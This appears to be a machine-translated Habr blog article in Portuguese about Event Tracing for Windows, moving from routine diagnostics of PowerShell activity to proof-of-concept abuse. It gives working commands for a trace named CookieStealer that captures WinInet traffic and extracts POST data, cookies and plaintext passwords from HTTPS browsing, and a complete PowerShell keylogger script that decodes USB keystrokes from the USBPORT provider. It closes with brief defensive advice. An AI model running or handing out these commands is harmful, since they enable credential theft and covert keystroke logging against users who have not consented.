O rastreamento de eventos para Windows está do lado ruim. Mas isso não é certo


Nos artigos anteriores sobre o sniffer do PowerShell e a coleta de dados de inicialização de um servidor remoto, eu já escrevi um pouco sobre os recursos do ETW (Event Tracing for Windows). Hoje eu quero falar mais sobre essa tecnologia.


Ao mesmo tempo, demonstrarei o uso do HTTPS e a criação de um keylogger no PowerShell como um exemplo de como ele pode ser usado para sempre. Ou não realmente para o bem.


Trabalhar com ETW


O Rastreamento de Eventos para Windows coleta e envia mensagens de componentes do sistema Windows e aplicativos de terceiros. Ele apareceu nos dias do Windows 2000, mas se naquela época havia várias dúzias de fornecedores de sistemas, agora a pontuação já está na casa das centenas. As mensagens são convenientemente usadas para diagnosticar erros e resolver problemas de desempenho do software.


Alguns provedores de sistema já gravam no log de eventos do Windows por padrão, e alguns são incluídos separadamente. Portanto, mesmo se você não conhece o ETW, provavelmente o usa. Você pode se familiarizar com os logs e ativar alguns deles, se necessário, no visualizador de eventos padrão nos logs de aplicativos e serviços. Um pouco sobre a revista e sobre como trabalhar com ela pode ser encontrado no artigo " Giramos os logs como queremos - análise dos logs nos sistemas Windows ".


Você pode visualizar a lista de provedores existentes que estão felizes em nos dizer o que está acontecendo com eles com o comando logman query provider .



Fornecedores ETW.


Você pode visualizar a lista de provedores que estão conectados a um processo específico do Windows (e, portanto, aprender algo sobre isso) usando o comando logman query provider -pid <process PID>.



Lista de provedores conectados a um notebook comum.


Você pode habilitar a assinatura de eventos de um provedor específico ou rastrear através do PowerShell usando o cmdlet New-NetEventSession . E você pode até clicar com o mouse no caminho "Gerenciamento do computador" - "Desempenho" - "Grupo de coletores de dados". Aqui, nas sessões de rastreamento de eventos, você pode ver quais rastreios estão em execução e criar seu próprio coletor, se desejar.



Executando traços.


Você pode visualizar o resultado usando utilitários e conjuntos de utilitários, como o Microsoft Message Analyzer , o Windows Performance Toolkit ou mesmo o cmdlet PowerShell Get-WinEvent .


Eu recomendo que você leia os recursos do ETW na documentação da Microsoft, você pode começar com a seção Sobre o rastreamento de eventos . Também posso recomendar um bom material " Estudamos ETW e extraímos lucros ".


Como o ETW opera no nível do kernel, ele se distingue pela velocidade de transferência de mensagens e pela ausência da necessidade de instalar qualquer driver ou injetar nos aplicativos. Normalmente, os ETWs são usados ​​para diagnosticar problemas de desempenho e aplicativos. Por exemplo, o artigo “ Acelerando a inicialização do Windows por diversão e lucro ” analisa fatores que influenciam a lentidão do carregamento, e no artigo CPU de 24 núcleos e não consigo mover o mouse - os motivos para a lentidão do Windows em operações comuns. Deixe-me dar um exemplo - a análise da execução de cmdlets do PowerShell.


Assistindo ao PowerShell


Suponha que, de alguma maneira (por exemplo, por meio de uma auditoria de inicializações de processos), você descubra que processos arrastados e scripts do PowerShell estão em execução no seu computador. Uma técnica será usar ETWs para analisar sua atividade. Por exemplo, observe o provedor do PowerShell. Ative o rastreamento com o comando:


logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets 

Agora vamos esperar até que os scripts incompreensíveis funcionem, pare o rastreamento com o comando:


 logman stop pstrace -ets 

Agora você pode ver o rastreamento, por exemplo, através do Microsoft Message Analyzer.



O arquivo clean.ps1 suspeito, obviamente, procura e exclui algo.


Se você selecionar a linha desejada, no painel inferior haverá informações estendidas sobre o evento.



Ah, esse é o mesmo script para limpar o cache 1C!


Desta vez, tudo acabou sendo banal. Mas, em casos mais complexos, você pode executar um rastreamento para verificar outras atividades:


  • atividade de rede;
  • Resolução DNS
  • acesso ao disco;
  • trabalhar com memória;
  • Atividade WMI
  • e muito mais

Dessa forma, a ETW pode ajudar a capturar malware e entender como os aplicativos funcionam. Em alguns lugares, isso é mais informativo que o Process Monitor comum . Mas, além de boas ações, o mecanismo tem um lado "sombrio".


Claro, você pode matar com um martelo e salvar com uma arma. Obviamente, não farei uma avaliação moral dos mecanismos, mas, em qualquer caso, oportunidades interessantes se abrirão.

Vou dar alguns exemplos como prova de conceito


S significa seguro


Neste exemplo, mostrarei como é fácil descobrir o que um usuário está procurando na Internet, mesmo através de HTTPS. Você pode vê-lo sem o PowerShell - apenas um mouse, apenas hardcore. Em nossa tarefa, haverá um usuário, haverá Windows, Internet Explorer e um log de eventos.


Vamos começar ativando o log de eventos do Wininet. Isso é feito da seguinte maneira: abra o log de eventos, na guia "View", ative a exibição de logs analíticos e de depuração.



Adicione a exibição dos logs desejados.


Depois disso, ative o UsageLog no menu de contexto, e isso é suficiente para obter as informações necessárias. Vamos usar o IE e ver o log:



Revista WinInet.


Na verdade, os cabeçalhos das revistas e uma solicitação direta ao mecanismo de pesquisa são visíveis.


Além dos cabeçalhos, você também pode usar o diário para extrair cookies e, ao mesmo tempo, ver solicitações POST - por exemplo, para extrair credenciais. A técnica funciona em qualquer aplicativo que use wininet.dll para trabalhar com a Internet. Por exemplo, o navegador Edge.


O mesmo é facilmente implementado no PowerShell e até no cmd. Vou dar um exemplo de implementação por último.


Primeiro, crie um rastreio:


 logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets 

Agora vamos trabalhar no navegador, verifique o correio. O rastreamento pode então ser parado com o comando:


 logman stop CookieStealer -ets 

A análise mais simples pode ser feita usando o utilitário de comando wevtutil.exe . Por exemplo, para visualizar solicitações POST, o comando seria:


 wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST" 

Você pode até tentar aleatoriamente procurar a palavra senha e obter o resultado.



Senhas em texto simples. Muito chato.


Vale ressaltar que o antivírus ficou silencioso ao mesmo tempo. De fato, este é um processo de rastreamento normal.


Obviamente, os eventos WinInet também podem ser usados ​​para diagnosticar problemas como "por que este site não abre e o que acontece". No entanto, as possibilidades são bastante interessantes. Volto-me para um exemplo ainda mais distorcido.


Keylogger no PowerShell. Porque eu posso.


Existem dois provedores de ETW interessantes no Windows:


  • Microsoft-Windows-USB-UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) - funciona com USB 2.0.


  • Microsoft-Windows-USB-USBPORT (C88A4EF5-D048-4013-9408-E04B7DB2814A) - funciona com USB 3.0.



Com a ajuda deles, você pode obter os dados HID transferidos por um dispositivo USB, como teclado ou mouse. Os dados são capturados em bruto, mas, graças à especificação HID , podem ser facilmente lidos.


Para iniciar o rastreio, basta executar os seguintes comandos:


 logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets 

E os dados podem ser obtidos com o cmdlet do PowerShell:


 $Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"} 

Vou dar um exemplo de um script simples que lê dados de rastreamento e os converte em valores legíveis. A conversão é feita apenas para letras em inglês e exclusivamente em letras maiúsculas.


Lista completa do script sob o spoiler.
 $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination" 

Quando iniciado, o script ativa o rastreamento por 10 segundos e mostra o resultado.



O resultado do script.


Obviamente, depois de entender os dados HID, você pode refinar o script para um keylogger completo que registra dados do teclado e do mouse. Vale ressaltar as limitações deste mecanismo:


  • só funciona com USB e o PS \ 2 (como às vezes é encontrado em laptops) não é suportado;
  • O suporte ao USB 3.0 é anunciado apenas no Windows 8 e superior;
  • Direitos de administrador (UAC) necessários.

Mas não há motoristas e interceptadores. Bem, é claro, além do uso malicioso, esse keylogger pode ajudar a diagnosticar problemas com o teclado. Teoricamente.


Preciso ter medo


Até os mecanismos embutidos nas mãos do vilão podem causar problemas. Os métodos de proteção permanecem os mesmos: bloqueie arquivos executáveis ​​que não pertencem aos diretórios do sistema, não funcione como usuário com privilégios de administrador e, se funcionar, pelo menos não desative o UAC. E, é claro, os navegadores internos do Windows em termos de segurança levantam questões.

Source: https://habr.com/ru/post/pt418787/


All Articles